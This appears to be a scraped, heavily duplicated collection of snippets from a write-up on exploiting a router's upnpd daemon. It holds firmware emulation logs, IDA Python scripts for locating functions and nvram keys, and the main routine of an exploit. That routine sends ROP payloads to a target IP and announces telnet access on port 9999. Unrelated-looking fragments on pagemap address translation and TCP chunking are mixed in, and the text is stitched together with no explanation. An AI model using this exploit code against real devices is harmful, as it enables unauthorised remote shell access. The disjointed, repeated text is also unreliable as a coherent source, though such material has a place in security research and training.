Welcome to the Firmware Analysis Toolkit - v0.3 Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation By Attify - https://attify.com | @attifyme
Welcome to the Firmware Analysis Toolkit - v0.3 Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation By Attify - https://attify.com | @attifyme
**# ./usr/sbin/upnpd** # /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory
**# LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd** # ./usr/sbin/upnpd: can't resolve symbol 'dlsym'
# ./usr/sbin/upnpd # /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory
# LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd # ./usr/sbin/upnpd: can't resolve symbol 'dlsym'
**固件模拟日志：** ssdp_http_method_check(203): ssdp_http_method_check(231):Http message error Detaching from process 3477 rmmod: dhd.ko: No such file or directory **reboot: rmmod dhd failed: No such file or directory** **[0x0003e9e4] system('reboot') = 0**
**固件模拟日志：** ssdp_http_method_check(203): ssdp_http_method_check(231):Http message error Detaching from process 3477 rmmod: dhd.ko: No such file or directory **reboot: rmmod dhd failed: No such file or directory** **[0x0003e9e4] system('reboot') = 0**
if __name__=="__main__": ip = sys.argv[1] libc_addr = sys.argv[2] banner() payload1 = makpayload1() payload2 = makpayload2(libc_addr) s = conn(ip) s.send('a\x00'+payload1) #expayload is rop gadget s.send(payload2) time.sleep(5) if checkExploit(ip): print "[*] Exploit Success" print "[*] You can access telnet %s 9999"%ip else: print "[*] Need to Existed Address cross each other" print "[*] You need to reboot or execute upnpd daemon to execute upnpd" print "[*] To exploit reexecute upnpd, description" print "[*] Access http://%s/debug.htm and enable telnet"%ip print "[*] then, You can access telnet. execute upnpd(just typing upnpd)" s.close() print """\n[*] Done ...\n"""
if __name__=="__main__": ip = sys.argv[1] libc_addr = sys.argv[2] banner() payload1 = makpayload1() payload2 = makpayload2(libc_addr) s = conn(ip) s.send('a\x00'+payload1) #expayload is rop gadget s.send(payload2) time.sleep(5) if checkExploit(ip): print"[*] Exploit Success" print"[*] You can access telnet %s 9999"%ip else: print"[*] Need to Existed Address cross each other" print"[*] You need to reboot or execute upnpd daemon to execute upnpd" print"[*] To exploit reexecute upnpd, description" print"[*] Access http://%s/debug.htm and enable telnet"%ip print"[*] then, You can access telnet. execute upnpd(just typing upnpd)" s.close() print"""\n[*] Done ...\n"""
def GetAddr(func_name): func_list = Functions() for func in func_list: name = GetFunctionName(func) if func_name == name: print(name,hex(func)) func_addr=func return func_addr
def GetAddr(func_name): func_list = Functions() for func in func_list: name = GetFunctionName(func) if func_name == name: print(name,hex(func)) func_addr=func return func_addr
import idautils for seg in idautils.Segments(): if SegName(seg) == '.data': start = idc.SegStart(seg) end = idc.SegEnd(seg) print idc.SegName(seg),start,end while(start!=end): key = GetString(Dword(start)) if key != None and key != '0': start += 4 val = GetString(Dword(start)) if 'upnp' in key: print('%s=%s'%(key,val)) start += 4
+
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import idautils for seg in idautils.Segments(): if SegName(seg) == '.data': start = idc.SegStart(seg) end = idc.SegEnd(seg) print idc.SegName(seg),start,end while(start!=end): key = GetString(Dword(start)) if key != Noneand key != '0': start += 4 val = GetString(Dword(start)) if'upnp'in key: print('%s=%s'%(key,val)) start += 4
**- Bits 0-54 : physical frame number if present.** - Bit 55 : page table entry is soft-dirty. - Bit 56 : page exclusively mapped. - Bits 57-60 : zero - Bit 61 : page is file-page or shared-anon. - Bit 62 : page is swapped. - Bit 63 : page is present.
+
1 2 3 4 5 6 7
- Bits 0-54 : physical frame number if present. - Bit 55 : page table entry is soft-dirty. - Bit 56 : page exclusively mapped. - Bits 57-60 : zero - Bit 61 : page is file-page or shared-anon. - Bit 62 : page is swapped. - Bit 63 : page is present.
uint64_t gva_to_gfn(void *addr) { uint64_t pme, gfn; size_t offset; offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); if (!(pme & PFN_PRESENT)) return-1; # The page frame number is in bits 0-54 so read the first 7 bytes and clear the 55th bit gfn = pme & PFN_PFN; return gfn; }
/* check if this is the last frame */ if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) { is_last_frame = 1; chunk_size = tcp_data_len - tcp_send_offset; }
/* check if this is the last frame */ if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) { is_last_frame = 1; chunk_size = tcp_data_len - tcp_send_offset; }
**- Bits 0-54 : physical frame number if present.** - Bit 55 : page table entry is soft-dirty. - Bit 56 : page exclusively mapped. - Bits 57-60 : zero - Bit 61 : page is file-page or shared-anon. - Bit 62 : page is swapped. - Bit 63 : page is present.
/* check if this is the last frame */ if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) { is_last_frame = 1; chunk_size = tcp_data_len - tcp_send_offset; }
- Bits 0-54 : physical frame number if present. - Bit 55 : page table entry is soft-dirty. - Bit 56 : page exclusively mapped. - Bits 57-60 : zero - Bit 61 : page is file-page or shared-anon. - Bit 62 : page is swapped. - Bit 63 : page is present.
uint64_t gva_to_gfn(void *addr) { uint64_t pme, gfn; size_t offset; offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); if (!(pme & PFN_PRESENT)) return-1; # The page frame number is in bits 0-54 so read the first 7 bytes and clear the 55th bit gfn = pme & PFN_PFN; return gfn; }
/* check if this is the last frame */ if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) { is_last_frame = 1; chunk_size = tcp_data_len - tcp_send_offset; }
def GetAddr(func_name): func_list = Functions() for func in func_list: name = GetFunctionName(func) if func_name == name: print(name,hex(func)) func_addr=func return func_addr
import idautils for seg in idautils.Segments(): if SegName(seg) == '.data': start = idc.SegStart(seg) end = idc.SegEnd(seg) print idc.SegName(seg),start,end while(start!=end): key = GetString(Dword(start)) if key != None and key != '0': start += 4 val = GetString(Dword(start)) if 'upnp' in key: print('%s=%s'%(key,val)) start += 4
def GetAddr(func_name): func_list = Functions() for func in func_list: name = GetFunctionName(func) if func_name == name: print(name,hex(func)) func_addr=func return func_addr
Welcome to the Firmware Analysis Toolkit - v0.3 Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation By Attify - https://attify.com | @attifyme
**# ./usr/sbin/upnpd** # /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory
**# LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd** # ./usr/sbin/upnpd: can't resolve symbol 'dlsym'
**固件模拟日志：** ssdp_http_method_check(203): ssdp_http_method_check(231):Http message error Detaching from process 3477 rmmod: dhd.ko: No such file or directory **reboot: rmmod dhd failed: No such file or directory** **[0x0003e9e4] system('reboot') = 0**
if __name__=="__main__": ip = sys.argv[1] libc_addr = sys.argv[2] banner() payload1 = makpayload1() payload2 = makpayload2(libc_addr) s = conn(ip) s.send('a\x00'+payload1) #expayload is rop gadget s.send(payload2) time.sleep(5) if checkExploit(ip): print "[*] Exploit Success" print "[*] You can access telnet %s 9999"%ip else: print "[*] Need to Existed Address cross each other" print "[*] You need to reboot or execute upnpd daemon to execute upnpd" print "[*] To exploit reexecute upnpd, description" print "[*] Access http://%s/debug.htm and enable telnet"%ip print "[*] then, You can access telnet. execute upnpd(just typing upnpd)" s.close() print """\n[*] Done ...\n"""
Welcome to the Firmware Analysis Toolkit - v0.3 Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation By Attify - https://attify.com | @attifyme
# ./usr/sbin/upnpd # /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory /dev/nvram: No such file or directory
# LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd # ./usr/sbin/upnpd: can't resolve symbol 'dlsym'
**固件模拟日志：** ssdp_http_method_check(203): ssdp_http_method_check(231):Http message error Detaching from process 3477 rmmod: dhd.ko: No such file or directory **reboot: rmmod dhd failed: No such file or directory** **[0x0003e9e4] system('reboot') = 0**
if __name__=="__main__": ip = sys.argv[1] libc_addr = sys.argv[2] banner() payload1 = makpayload1() payload2 = makpayload2(libc_addr) s = conn(ip) s.send('a\x00'+payload1) #expayload is rop gadget s.send(payload2) time.sleep(5) if checkExploit(ip): print"[*] Exploit Success" print"[*] You can access telnet %s 9999"%ip else: print"[*] Need to Existed Address cross each other" print"[*] You need to reboot or execute upnpd daemon to execute upnpd" print"[*] To exploit reexecute upnpd, description" print"[*] Access http://%s/debug.htm and enable telnet"%ip print"[*] then, You can access telnet. execute upnpd(just typing upnpd)" s.close() print"""\n[*] Done ...\n"""
